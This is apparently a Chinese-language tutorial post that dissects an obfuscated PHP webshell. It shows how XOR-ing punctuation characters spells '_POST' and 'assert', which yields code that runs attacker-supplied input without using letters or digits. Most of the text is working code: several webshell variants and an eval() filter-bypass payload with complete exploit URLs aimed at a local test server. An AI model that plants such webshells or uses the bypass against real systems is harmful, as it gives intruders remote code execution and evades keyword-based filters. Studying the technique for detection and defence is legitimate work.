Abstract: 分析 webshell

Table of Contents

  1. webshell
  2. 基础知识
  3. 分析代码
  4. 应用

webshell

尝试分析如下 webshell

1
2
3
4
5
6
7
8
9
<?php
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);
?>

基础知识

php 语言中 ^ 代表异或的意思。 php 是弱类型语言,即使用时可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。

1
2
3
4
5
<?php
@$_++;
$__=("#" ^ "|");
echo ($__);
?>

可以看到输出为 _,原因是 # 的十六进制为 0x23| 的十六进制为 7C,两者异或的结果为 5F

ASCII5F 对应的就是 _

分析代码

1
2
3
4
5
6
7
8
<?php
function P(){
echo "Hello World!";
}
$_++;
$__= "." ^ "~";
$__();
?>

$_++ 即为变量 _ 的自增运算,在 PHP 未定义的自变量默认值为 NULL ,而 NULL==False==0

$__="." ^ "~" 即把 .~ 异或的结果赋值给变量 __ ,由第一段程序,我们可以很容易分析得 "." ^ "~" 的结果为 0x50 ,故 __ 的值为 P

$__()变量后面有括号,即调用函数,故会调用函数 P()

所以我们可以通过不同符号的异或构造出 $_POST 等字符,从而编写出一个使用数字和字母的 webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
@$_++;
$__=("#"^"|");
echo($__);
echo "<br>";
$__.=("."^"~");
echo($__);
echo "<br>";
$__.=("/"^"`");
echo($__);
echo "<br>";
$__.=("|"^"/");
echo($__);
echo "<br>";
$__.=("{"^"/");
echo($__);
echo "<br>";
${$__}[!$_](${$__}[$_]);
?>

最后一段代码的结果为 $_POST[0]($_POST[1])

上面的代码还可以写在一起

1
2
3
4
5
6
7
<?php
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
echo($__);
echo "<br>";
${$__}[!$_](${$__}[$_]);
?>

除了用字符还可以用 url 编码实现。

应用

1
2
3
4
5
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
?>

此时需要我们写一个无字母和数字组成的 shell

1
2
3
4
5
6
7
8
9
<?php
// $_='assert';
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $__='_POST';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
// assert($_POST[_]);
$_($___[_]);
?>
1
http://127.0.0.1:8000/shell.php?shell=$_=(%27%01%27^%27`%27).(%27%13%27^%27`%27).(%27%13%27^%27`%27).(%27%05%27^%27`%27).(%27%12%27^%27`%27).(%27%14%27^%27`%27);$__=%27_%27.(%27%0D%27^%27]%27).(%27%2F%27^%27`%27).(%27%0E%27^%27]%27).(%27%09%27^%27]%27);$___=$$__;$_($___[_]);

其中 shell=$_=assert$__=_POST

1
http://127.0.0.1:8000/shell.php?shell=$_=assert;$__=_POST;$___=$_POST;assert($_POST[_]);

参考文章

一些不包含数字和字母的webshell

[记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)